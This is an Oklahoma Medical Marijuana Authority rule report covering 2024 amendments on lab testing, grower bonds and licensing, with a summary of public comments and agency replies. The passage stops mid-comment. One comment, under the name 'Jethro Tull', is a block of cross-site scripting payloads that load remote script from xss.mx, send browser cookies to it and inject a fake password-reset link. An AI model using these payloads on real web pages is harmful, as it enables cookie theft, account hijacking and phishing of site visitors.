AGENCY RULE REPORT
75 OS § 303.1(E)
SUBMITTED TO THE GOVERNOR AND TO THE LEGISLATURE

1. **Date the notice of intended rulemaking was published in the Oklahoma Register:**
   January 16, 2024, Vol. 41 Okla. Reg., OAR Docket # 23-1025

2. **Name and address of the agency:**
   Oklahoma Medical Marijuana Authority,
   P.O. Box 262266,
   Oklahoma City, Oklahoma 73126

3. **Title and number of the rule:**
   Title 442. Oklahoma Medical Marijuana Authority
   Chapter 10. Medical Marijuana Regulations
   Subchapter 1. General Provisions [AMENDED]
   442:10-1-4 [AMENDED]
   442:10-1-5 [AMENDED]
   Subchapter 3. Transporter License [AMENDED]
   442:10-3-1 [AMENDED]
   Subchapter 4. Research Facilities and Education Facilities [AMENDED]
   442:10-4-3 [AMENDED]
   442:10-4-4 [AMENDED]
   442:10-4-5 [AMENDED]
   442:10-4-6 [AMENDED]
   Subchapter 5. Medical Marijuana Businesses [AMENDED]
   442:10-5-1.1 [AMENDED]
   442:10-5-2 [AMENDED]
   442:10-5-3 [AMENDED]
   442:10-5-3.3 [NEW]
   442:10-5-4 [AMENDED]
   442:10-5-6. [AMENDED]
   442:10-5-6.1 [AMENDED]
   442:10-5-7 [AMENDED]
   442:10-5-16 [AMENDED]
   Subchapter 7. Packaging, Labeling, and Advertising [AMENDED]
   442:10-7-1 [AMENDED]
   Subchapter 8. Laboratory Testing [AMENDED]
   442:10-8-1 [AMENDED]
   442:10-8-2 [AMENDED]
   442:10-8-3 [AMENDED]
   442:10-8-4 [AMENDED]
   442:10-8-5 [AMENDED]
   Subchapter 9. Waste Disposal Facilities [AMENDED]
   442:10-9-3 [AMENDED]
   442:10-9-7 [AMENDED]
   Subchapter 11. Process Validation [NEW]
   442:10-11-1 [NEW]
   Appendix A [REVOKED]
   Appendix B [REVOKED]

Appendix C [AMENDED]
Appendix D [REVOKED]
Appendix E [REVOKED]
Appendix F [REVOKED]

4. **Citation to the statutory authority for the rule:**
Executive Director of the Oklahoma Medical Marijuana Authority; 63 O.S. § 420-430

5. **Citation to any federal or state law, court ruling, or any other authority requiring rule:**
Executive Director of the Oklahoma Medical Marijuana Authority; 63 O.S. § 420-430

6. **Brief summary of the content of the adopted rule:**
The proposed permanent rules implement legislative changes mandated by SB 18X, HB 3929, HB 4056, SB 813, SB 1704, SB 913, and HB 2095; address changes in statute under 63 O.S. § 426, 63 O.S. § 427.6, 63 O.S. § 427.14, 63 O.S. § 427.14a, 63 O.S. § 427.17, 63 O.S. § 427.19, 63 O.S. § 427.20, 63 O.S. § 427.25, and new requirements in 63 O.S. § 427.14b, 63 O.S. § 427.17a, and 63 O.S. § 427.26. The permanent rules are intended to provide a structure for the implementation of these legislative requirements. The proposed permanent rules also seek to address the risk to public health and safety posed by increasing occurrences of fires and explosions at licensed medical marijuana businesses. Further, the proposed permanent rules provide clarity on tagging, storing, testing, and retesting medical marijuana and medical marijuana products.

Amendments to OAC 442:10-8-1, OAC 442:10-8-2, OAC 442:10-8-3, OAC 442:10-8-4, and OAC 442:10-8-5 establish new laboratory testing requirements effective June 1, 2024. Amendments to OAC 442:10-5-4(l) allow the Authority to employ secret shoppers to inspect licensed commercial medical marijuana businesses. Amendments to OAC 442:10-8-5 allow the Authority to operate a quality assurance laboratory or to contract with a private laboratory. Amendments to OAC 442:10-5-1.1(f) and OAC 442:10-5-16(v) require employees of a medical marijuana business to apply for and receive a credential authorizing the employee to work in a licensed medical marijuana business. The requirement that the Legislature receive all monies from sales tax proceeds collected on medical marijuana and all monies collected from fines and fees is added to OAC 442:10-5-7(h).

Amendments implementing changes to commercial licensing fees occur in OAC 442:10-1-4, OAC 442:10-5-2(b), OAC 442:10-5-3(e)(15), and OAC 442:10-5-6(b)(6)(A). Amendments to supplemental materials required to be submitted by licensees occur in OAC 442:10-3-1(d); OAC 442:10-4-3(e)(6); OAC 442:10-5-2(e)(2)(A)(iii); OAC 442:10-5-3(e)(9); and OAC 442:10-9-3(e)(9). OAC 442:10-1-5(a) is amended to include the national fingerprint-based background check requirement. Amendments to OAC 442:10-4-4 allow the Authority to perform unannounced, on-site inspections. OAC 442:10-5-2(b) is amended to include language regarding one medical marijuana commercial grower license issued for any one property. OAC 442:10-5-3(h) is amended to extend the dates of the current moratorium on processing and issuing new medical marijuana business licenses. OAC 442:10-5-6.1(h) is amended to include penalties for medical marijuana business licensees intentionally not remitting taxes. The prohibition that commercial growers shall not hire or employ undocumented immigrants is included in OAC 442:10-5-16(u).

The amendments require applicants for a commercial grower license to submit to the Authority a bond covering the permit area upon which the business licensee will initiate and conduct commercial growing operations or an attestation that the permit area on which the licensee operates the commercial growing operation has been owned by the licensee for at least a five (5) year period prior to submission of application. OAC 442:10-5-1.1 is amended to include the required bond or attestation and requires that information be updated. OAC 442:10-5-2(e) requires business licensees submitting material change requests to include information regarding the bond or attestation and requires licensees notify the Authority in writing of any change to or cancellation of a bond. OAC

442:10-5-3(e)(13) adds the required grower bond or attestation to the list of supporting documentation required to be submitted by licensees. OAC 442:10-5-3.3 is a new section governing the required commercial grower bond and includes specific bond requirements and application materials required to be submitted by licensees. The prohibition that growers shall not engage in any commercial growing operations without a bond or attestation is added to OAC 442:10-5-16(t).

Subchapter 11 and OAC 442:10-11-1 establish a voluntary process validation program for commercial licensees.

Proposed permanent rule changes to clarify existing requirements for licensees regarding tagging, storing, testing, and retesting medical marijuana and medical marijuana products occur in OAC 442:10-1-4, OAC 442:10-4-5(f)(3), OAC 442:10-4-5(d)(2)(D), OAC 442:10-5-4(c), OAC 442:10-5-6(d)(2)(D), OAC 442:10-5-6(f)(3), OAC 442:10-7-1(g), OAC 442:10-9-7(b)(2)(D), and OAC 442:10-9-7(d)(3). Amendments to 442:10-5-6(c) and 442:10-5-6(d) clarify patient information required to be reported in the inventory tracking system.

7. Statement explaining the need for the adopted rule:

The proposed permanent rules implement legislative changes mandated by SB 18X, HB 3929, HB 4056, SB 813, SB 1704, SB 913, and HB 2095; and address changes in statute under 63 O.S. § 426, 63 O.S. § 427.6, 63 O.S. § 427.14, 63 O.S. § 427.14a, 63 O.S. § 427.17, 63 O.S. § 427.19, 63 O.S. § 427.20, 63 O.S. § 427.25, and new requirements in 63 O.S. § 427.14b, 63 O.S. § 427.17a, and 63 O.S. § 427.26. The permanent rules are intended to provide a structure for the implementation of these legislative requirements. The proposed permanent rules also seek to address the risk to public health and safety posed by increasing occurrences of fires and explosions at licensed medical marijuana businesses. Further, the proposed permanent rules provide clarity on tagging, storing, testing, and retesting medical marijuana and medical marijuana products.

8. Date and location where rules were adopted:

Adopted by Adria G. Berry, the Executive Director of the Oklahoma Medical Marijuana Authority on February 29, 2024, pursuant to authority provided by Title 63 O.S. § 420-430, in the offices of the Oklahoma Medical Marijuana Authority.

9. Summary of the comments and explanation of changes or lack of any change made in the adopted rules as a result of testimony received at public hearings:

Many of the comments pertained to statutory requirements and pending legislation, not the rules. Commenters requested changes to laboratory testing requirements. More comments were given about laboratory testing requirements than any other topic. Based on public comments, minor changes were made to testing requirements in OAC 442:10-8. The Authority replaced the term "flash frozen" with "fresh frozen" in OAC 442:10-8-1(i)(9), broadened instrumentation for heavy metal analysis in OAC 442:10-8-1(i)(4)(B), updated CCV and LCS limits in OAC 442:10-8-1(i), removed specific sample preparation requirements for microwave digestion in OAC 442:10-8-1(i)(4)(D), lowered required sample sizes from 7 grams to 5 grams in OAC 442:10-8-3(b)(1), reduced laboratory quality control samples required in OAC 442:10-8-1(i)(1), and adjusted required pesticide testing in OAC 442:10-8-1(s)(1)(b) and OAC 442:10-8-1(s)(4). These changes will help improve and ensure the safety of medical marijuana and medical marijuana products. The Authority also clarified who does not need to apply for and receive a credential in OAC 442:10-5-1.1(13)(A) in response to public comments. The complete comments and responses are in Exhibit A.

10. List of persons or organizations who appeared or registered for or against the adopted rule at any public hearing held by the agency or those who have commented in writing before or after the hearing:

Jade Peterson
Dylan Scott
Jethro Tull
Bryan Wenzel
Timothy Wess
James R. Adelman
Nunyabiznez
Meagan Sales
Anthony W Smith
Remodelplano1025@gmail.com
Helen
Quinton Staley
Riley Carpenter
Dani Riggs
Steven Stowers
Abi Rodgers
Joyce
Jim Kelly
Michael Richards
Patricia Handley
John Dungan
Adam Barker
Mitchell Wano
Steven Brooker
Lindsay Jones
Shawn Hendershot
Dianna Hampton
John aldridge
Devin Laird
Cindy Edgar
Gregory Menges
Doug Hill
Donna Siepiela
Kyle Kollmansberger
Sen Bin Xu
Christina Shifflett
Isaac S
David Evan Swan
Natalie Wolfe
Teresa Jordan
Robert D Johnson Iii
Tom Fox
James Browning
Frank Gaydusek
Shante Brown
Blake Beidleman
James Vandersee
Cole Alleman
Daniel Sellers
Sher Garren
Elaine Hasty
Michael Ralston
Luke Janger
Chris Opie
Kent Taylor
Jessica Campbell
Veronica E Raj
Adam Ebberts
Daniel Pratt
LaFaye Caldwell
Dalia
Stephen Anders
Carolyn
David Roughley
Kenneth Zuver
Landon Andrews
Stephanie Patterson
Katelyn Wilbanks
JW Fisher
William English
Sarah Cameron
Laura Eason
Cheri Turman, PhD.
Xu(Alex} Tang
Marla Ford
Kathy Vochatzer
Ethan Criner
Elijah Kepler
Eden Whorton
Amberlyn Garay
Luke Wang
Ruth Parker
Michael Quayle
Delisa Taylor

Dan Marling
Karen Young
Eric Dangler
Albert Drake Jr.
John Schwindt
Robin Bradley
John Doe
David Millikan
Toshina Williams
Kyle Bradley
Anette Horstman
Amanda Shelton
Ashley Dale
Carisa Rowe
Nicholas Blain
Sharon Brunelle
Eric Wallis
Brandon Mosley
Eric Wheeler
Shawn
Vincent
Piper Harrison
Cameron Golden
Tyler Russell
Mark Strecker
Brad Stawick
Sonia
Kevin Gallagher
Frank Joseph Gaydusek
Heather Bliss
Luke Wang
Mary Lane Porter
Summer Parker
Keith Boyd
Professional Cannibus Association
Stephen Blackburn
Kara Lee Pierce
Michael Anderson
Tommy Flynn
Amy G
Michael
Tanna Johnson
Eric Wheeler
Connie James
Shawna Patrick
Jesse Goode
Dennis Williams
E Mckinnon
Cheri Turman, PhD.
Krystal Deak
Kristy Benson
JonPaul
Trikelent
Taylor
Richard Amundson
Joshua Woodham
Daniel Opie
Jeremy Woods
Audri Malik
Ian Cameron
Rylee Reece
Randi Guzman
Cheri Turman, PhD.
Adam Nobles
Mitchell Harrington
Kevin Gallagher
Estelle Castro
Jeffrey Howard
Dalton Hilburn
Mohammad Mirambeigui
Geary Wilson
Matt Doerr
Kelsey Palmer
Kevin Gallagher
Nick Serrano
Joshua Grashton
Ron Durbin
Darrell Carnes
Marvin Miller
Brie Truet
Summer Aurora
Nancy Wallace
Sheena Wilton
Ron Brown

James Boyles	John Fraiser
Paige Nelson	Brandon Mosley
Susan Amanda Halbrooks	Cole Allmon
Ian Ledbetter	Kristin Thompson
David Canoy	Carrie Lawrence
Jessica Baker	Daniel Pratt
M M Covault	Jed Green
Katrina Collins	

11. Rule Impact Statement:
Attached to this report as Exhibit B.

12. Incorporation by reference statement:
None

13. Members of the governing board of the agency adopting the rules and the recorded vote of each member:
N/A.

Adopted by Adria G. Berry, the Executive Director of the Oklahoma Medical Marijuana Authority on February 29, 2024, pursuant to authority provided by Title 63 O.S. § 420-430, in the offices of the Oklahoma Medical Marijuana Authority.

14. Proposed effective date:
The proposed effective date will be ten (10) days after publication of the final adopted rule in the Oklahoma Register in accordance with 75 O.S. § 304.

15. **Additional information:**
Information regarding this rule may be obtained by contacting Ashley Crall, Director of Government Affairs, Oklahoma Medical Marijuana Authority, 2501 N. Lincoln Blvd., OK 73105, 405-568-5766. Ashley.Crall@omma.ok.gov.

EXHIBIT A

RULE COMMENT SUMMARY AND RESPONSE

TITLE 442. OKLAHOMA MEDICAL MARIJUANA AUTHOIRTY
CHAPTER 10. MEDICAL MARIJUANA REGULATIONS

Comment:
I wrote a thesis paper in high school, for the legalization of medical marijuana, as it pertains to "determined need" aka veterans, elderly, and medical issues. I was not favored for my opinion on the matter. The twin towers went down around that time as well. A mixed time in history.

Later in Florida, I also voted for the passing of the STATE ammendment to pass, due to the opioid crisis I saw happening. I also remained faithful to researching candidates who were in favor of the everyday american worker. Blue collar. Hands hurt, feet hurt, back hurt.

I am in favor of due process for legalization. States have their say. Our president has executive action as well. May we all remain cooperative and helpful to assist others.

I am a citizen of OKLAHOMA and a registered OMMA patient. A MOM for medical use. My BOOK says I have that right, through law and speaking WORD. my truths. Back to laundry. Just a mom for education.

Jade Peterson

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
Dissolve the OMMA in its entirety and legalize recreational marijuana use for all legal adults. The OMMA’s existence is an unnecessary waste of taxpayer money. Marijuana is a fucking plant. It grows out of the ground. Your jobs only exist to make extra money off of plant cells and take away rights of Oklahomans. It’s sick, greedy, barbaric, and a violation of the human right to interact with nature.

Dylan Scott

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
"><style> %22%0d%0a/%3E%3Ch1%3E%3Ca%20href=//geeknik-labs.com%3EYour%20password%20is%20currently%20unsafe,%20please%20click%20the%20link%20to%20update%20the%20information%3C/a%3E%3C/h1%3E "<!--
></Title/</Style/</Textarea/</Noscript><Body/OnPageShow=(confirm)(document.domain)<!--
<script/	 src='https://xss.mx' /	></script> //|\\ <script //|\\ src='https://xss.mx'> //|\\ </script //|\\
<style><embed src="//xss.mx"></embed><object data="//xss.mx"></object></style>
<object type="text/x-scriptlet" data="https://xss.mx "></object> <math><axlink:href="//xss.mx">click
javascript:eval('a=document.createElement(\'script\');a.src=\'https://xss.mx\';document.body.appendChild(a)');s='https://s.com'"><SCRIPT>var+img=new+Image();img.src="http://xss.mx/"%20+%20document.cookie;</SCRIPT> "><script src=https://xss.mx></script>
javascript:eval('var
=document.createElement(\'script\');a.src=\'https://xss.mx\';document.body.appendChild(a)') "><input onfocus=eval(atob(this.id))
id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzLm14Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw== autofocus> "><img src=x
mx/#xss")}</STYLE> <XSS STYLE="behavior: url(xss.mx);">
"><SCRIPT>var+img=new+Image();img.src="http://xss.mx/"%20+%20document.cookie;</SCRIPT>
"><script src=https://xss.mx></script> javascript:eval('var
a=document.createElement(\'script\');a.src=\'https://xss.mx\';document.body.appendChild(a)')
"><input onfocus=eval(atob(this.id))
id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vZXNiaC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>
"><img src=x
id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vZXNiaC54c3MuaHQiO2RvY3VtZW50L

Jethro Tull

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we thank you for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
First off, never believe a Republican or Conservative. They don't act in good faith or in public interest. They understand power and money only. These changes are being proposed so they can be abused at the rights' discretion because they're feeling butthurt at the time (i.e. like the "Safety Exemption" bullsh*t title they use). Always assume a republican/conservative is trying to take away your rights and freedoms when you can see no other reason for an act, and that is the case here - it even says right in the document: "No assumed impact on X" ... well, then why do it? Because you can target someone with it is why.

Bryan Wenzel

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
Oklahoma needs to wise up, mirror Colorado, make recreational Marijuana legal, tax it, make our roads better, pay teachers correctly, provide more assistance to mental health and addiction help for Oklahomans!!!

Timothy Wess

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
I think that "Executive Director" should be removed and the Administrative Law Judge should be the only one deciding this.

James R. Adleman

OMMA Evaluation:
Thank you for your comment. The authority to conduct hearings, issue final agency orders, impose disciplinary action is given to the Executive Director by 63 O.S. 427.6(M). Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
I am opposed to regulation and any rule or statute that is any more than how alcohol is regulated. Cannibas and alcohol can be used both medicinally and socially.

Nunyabiznez

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. Although the Authority won't be making

changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
I propose you guys get it together. Actually. If anyone of these dispos, grows, or processing entities acted as you all have, they would be shut down and fined out the yaya. You are supposed to be a governing factor and are more unorganized than a 4yr old with new blocks. Y'all sit down and really think about what you're doing. You created this mess. Quit putting it on business to toe the line when you clearly are not.

Megan Sales

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
I don't think any rule changes should be approved at all until your agency is completely investigated by a grand jury

Anthony W. Smith

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we thank you for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
All it does is make the rich richer.
Seasure and jail time for bootlegs would be better.
Everything else makes sense.
Sincerely
Bobby

Remodelplano1025@gmail.com

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
Against the sale of Marijuana in Oklahoma. I have been in treatment for use of Marijuana. It can destroy your immune system and your entire world.

Helen

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
Recreational use

Quinton Staley

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we thank you for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
The proposal says the impact would be none for economical. What is the secret shopper looking for? And if they find it, what happens? The shop would be fined, I assume. And it would cost more money to operate. Prices would go up or more stores would close. I would propose that for every secret shopper that comes in and the place passes inspection, they get a credit to their account equivalent to the average fine. That seems fair.

Riley Carpenter

OMMA Evaluation:
Thank you for your comment and thoughtful suggestion. This comment primarily focuses on statutory requirements rather than administrative rule changes. The secret shopper program is required by HB 3971 (2022) and 63 O.S. § 427.25; changes to this statutory requirement can only be made by the Legislature. While the Authority cannot make changes in response to this specific comment at the moment, we are grateful for your input. Thank you once again for taking the time to share your thoughts with us.

Change:
No rule changes are recommended.

Comment:
our testing standards have been far lower than other states, and I fully support the new testing requirements for contaminants

Dani Riggs

OMMA Evaluation:
Thank you for taking the time to share your comment. Laboratory standardization recommendations are required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. While the Authority will not be making changes to our rules based on this specific comment, please know that we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
No rule changes are recommended.

Comment:
The OMMA does as it pleases with impunity so why have any rules....

Steven Stowers

OMMA Evaluation:
Thank you for sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we appreciate you sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
I personally believe that people who do not work in the industry, or those who don't even know how the industry works, should be making rules and regulations. Especially Shit Stitt.

If you're going to enforce rules and regulations, people in the industry should be able to call OMMA and get yes or no answers to questions regarding said rules and regulations. The amount of grey area we have to work in is ridiculous because even OMMA doesn't know the answers. I'm also going to blow me brains out if I have to sit on hold for another hour trying to get help from OMMA.

Abi Rogers

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
This needs to be wrote in laymen terms. You need to remember that most people don't understand legalize, so how ate we to properly commebt. Please redo this in regular English instead of legalize, as you know we will be held to the proper understanding of the document so its wrong to not put this us regular english

Joyce

OMMA Evaluation:
Thank you for your comment. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we appreciate you sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
Leave well enough alone and don't let Gov. Stitt evolved in any way.

Jim Kelly

OMMA Evaluation:
Thank you for your comment. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we appreciate you sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
Nothing needed to be changed. Don’t mess with the law as it is.

Michael Richards

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. OMMA is under a statutory obligation to promulgate rules to implement new laws from the last legislative session. In terms of the proposed permanent rules, this comment doesn't suggest any changes, and the Authority won't be making adjustments based on this feedback. Thank you once again for sharing your thoughts

Change:
No rule changes are recommended.

Comment:
Where can smell the marijauna buds
I think us patients deserve to be able to smell our buds to be able to know what we are getting without being able to smell or really look at the buds we do not know what we are buying with our money

Patricia Handley

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment relates to a statutory requirement rather than a proposed permanent rule. It's important to note that changes to this requirement fall within the jurisdiction of the legislature and cannot be changed by OMMA. In terms of the proposed permanent rules, this comment doesn't suggest any changes, and the Authority won't be making adjustments based on this feedback. Thank you once again for sharing your thoughts

Change:
No rule changes are recommended.

Comment:
Not all clones taken from mother plants survive and grow roots. Also many growers will take extra to ensure that the needed amount is definitely available given the success rate is not always 100%. The proposed language requires putting a tag on every single cutting regardless of whether or not it survives or is going to actually be used. Better language would specify that "rooted cuttings, over 12" in height and/or cuttings that have been removed from the rooting device (i.e. clone machine, tray and dome, cup of water...) shall have an inventory tracking tag place on the container..."

Requiring a second license for a grower to grow outside at the same location as an indoor grow is an overreach, money grab, and doing nothing other than creating a larger government, government expenditure, inefficiency in the system, a burden on growers, and unnecessary red tape. This means all efforts and cost are going to be doubled administering a single location. OMMA has a $20+ million budget and cannot process an application in 90 days as it currently operates.

Requiring a surety bond for cannabis is an unnecessary requirement. While there are exceptions to everything cannabis growers are not damaging property and there is no need to require this bond, especially for indoor grows. Nutrients are expensive and used in tiny amounts that growers want every bit to get to the plants. Outdoor growers often use living soil and do not add salt-based fertilizers at all. The amount of runoff from any traditional commercial farm is going to cause thousands of times more contamination. The rivers flowing through the state, coming from all the corn farms alone have already created a salt dead zone in the Gulf of Mexico. Monsanto provides Round-Up for crop dusting genetically modified crops that can withstand the Round-U, but nothing else in nature can. As a result, nearly every person in the country has Round-Up in their blood along with microplastics and the effects are starting to show. Requiring cannabis growers to have a bond in this environment is grossly prejudicial and is an extreme violation of equal protection under the law. Same as previous response on bond requirement.

OMMA 90 business days to process an application
OMMA having 90 business days to process an application is far too long. For an agency with a budget over $20 million and main responsibility is to review and approve applications, then conduct inspections and administration over these license holders it should not take 4 months to simply get a response. Looking at the Organization Chart there are dozens of administrative positions, but down at the bottom in a single cell are the inspectors. There should be a large team of inspectors and application reviews being the main parts of the organization not a tiny fraction at the bottom. Next year the budget is going to be $37 million. Given the way they operate that is about $35 million wasted and $2 million actually going to people who do the actual work at the agency, the inspector or inspectors and the application reviewers. Furthermore, there is no way to contact OMMA about an application. They have a call center, possibly in another state, where the operators will plainly tell you they cannot do anything and have been instructed to

only read off a generic script. OMMA also violates the current law by resetting the 90-day period whenever a change is made in the rules. Applications submitted before changes are made and codified have been denied and required to resubmit. OMMA then takes another 90 days. This is even being done with license transfers and address changes. This is keeping businesses from being able to even start operating for over 6 months. Retroactively applying laws in illegal and has never been accepted in U.S. jurisprudence. The agency does not have this authority but has no problem violating the law clearly established by the legislature.

John Dungan

OMMA Evaluation:
Thank you for submitting a comment and sharing your feedback. This comment provides feedback on state statute, not administrative rules. Tiered licensing requirements, including the requirement that grower licenses be separated into indoor and outdoor licenses, are required by HB 2179 (2022), SB 813 (2023), and 63 O.S. § 427.14. Changes to this statutory requirement can only be made by the Legislature. 63 O.S. § 427.14 allows the Authority 90 business days to review an application prior to making a determination. SB 913 (2023), 63 O.S. § 427.14, and 63 O.S. § 427.26 govern the medical marijuana grower bond requirements; modifications to this statutory requirement fall under the jurisdiction of the Legislature and cannot be altered by the agency in administrative rule. We sincerely appreciate you sharing your comment with us. As it relates to the 12" tagging requirements, these proposed rules are the product of numerous conversations with a broad group of stakeholders, including the entirety of the public comment period. Moreover, 63 O.S. § 427.13(B)(1) of state statute requires OMMA "ensure that all marijuana being grown in Oklahoma is accounted for[.]" Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
Why create another regulatory agency. When whe have a state court system already.

Adam Barker

OMMA Evaluation:
Thank you for your comment. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we appreciate you sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
Why should the burden of proof be on the public citizen? It seems a lot like guilty until proven innocent. No, the burden of proof should always be on the state and state agencies. ALWAYS!

Only a judge or jury, no other, should be able to deny a patient access to their medicine, AFTER said patient has been proven guilty in a court of law.

Mitchell Wano

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment relates to a rule requirement that is already in effect rather than a proposed permanent rule. In terms of the proposed permanent rules, this comment doesn't suggest any changes, and the Authority won't be making adjustments based on this feedback. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
Why do members with permanent disabilities/conditions have to get a physician recommendation every time I renew? I have federal documentation stating my disabilities that are never going to change and I have already been approved by several physicians for medical marijuana. This is a waste of money for me every 2 years. I am also certain that I am not the only Oklahoman in this situation. Common sense needs to be applied and remove the middle man from this process after initial consultation with a physician. To be clear I am not against renewing the license when needed. I am against the idea of wasting money for something that has already been approved and will not change (PTSD for example).

Steven Brooker

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment relates to a statutory requirement rather than a proposed permanent rule. It's important to note that changes to this requirement fall within the jurisdiction of the legislature and cannot be changed by OMMA. In terms of the proposed permanent rules, this comment doesn't suggest any changes, and the Authority won't be making adjustments based on this feedback. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
I suggest that rules be written with common sense with the reality of plant growth, metrc tag size, user ability of the tracking system kept in mind, and allow business decisions for each licensee on a personal expertise basis. Metrc tag waste is and will be a huge problem for our landfills. We must reduce this waste by making business decisions that simplify the tracking system's use of the tags.

***Viable plants should "not be determined on the inches, but decided based on overall plant health; with healthy root growth and no signs of disease or pests, usually a grower will decide to move the clone to the next life stage based on their own expertise, median being used and expectations of quality. The clone being transplanted shall not change the plant from the immature stage, as freshly transplanted clones may die in the first week. Allow 7 days for freshly transplanted clones to be tagged in case they die to reduce tag waste. It shall be the decision of the cultivator to change the life cycle of the plant from immature to vegetative state by assigning a metrc plant tag".

Section E. Why this doesn't work : At 12 inches in height, you cannot fasten the metrc tag to the lower branch. The metrc tag is at least 4 inches long plus the blue tag attachment strap adds another 3-4 inches and a tremendous weight on the plant. Your metrc tag will be in the dirt and the RFID tags should not be

in the dirt because they cannot be read. At 12 inches in height, your lower branch is realistically 3-4 inches above the dirt on the stock of the plant; this is not realistic expectations. It's also not guaranteed that a clone has rooted at 12 inches and is able to be planted in dirt. The metrc tags will not fit inside your cloner. When a clone has healthy roots it can be planted in the dirt, this height varies depending on the clone. They are not all identical as the term "clone" would suggest lol.

In response to the requirement of a package tag for clones before planting: This should be an option, not the only method allowed because some grows do not wholesale their clones.
Package tags should be allowed to be used if you are going to package them in trays for wholesale because the grower is planning on transferring them to another facility. If the grower doesn't end up transferring them, they can either be destroyed or given a plant tag for the next stage in life; or a grower should be allowed to track the clones in the immature section of the metrc software by creating clones from the mother. (As metrc instructs us to do already!) You can't see the mother tag it was cut from in the history of a medical package!!! These two requirements will contradict one another.
The only way for the mother plant to be properly tracked in the metrc software at this time is to create an immature planting from the mother plant tag itself. It then goes to your immature planting section of metrc. At this time it doesn't have it's own plant tag, but one can create a label documenting where everything came from on the outside of your clone tray. The clones will still be inside the metrc software and properly tracked according to rules. Once it is rooted and viable to be planted, then a plant tag can be created from the immature planting section.
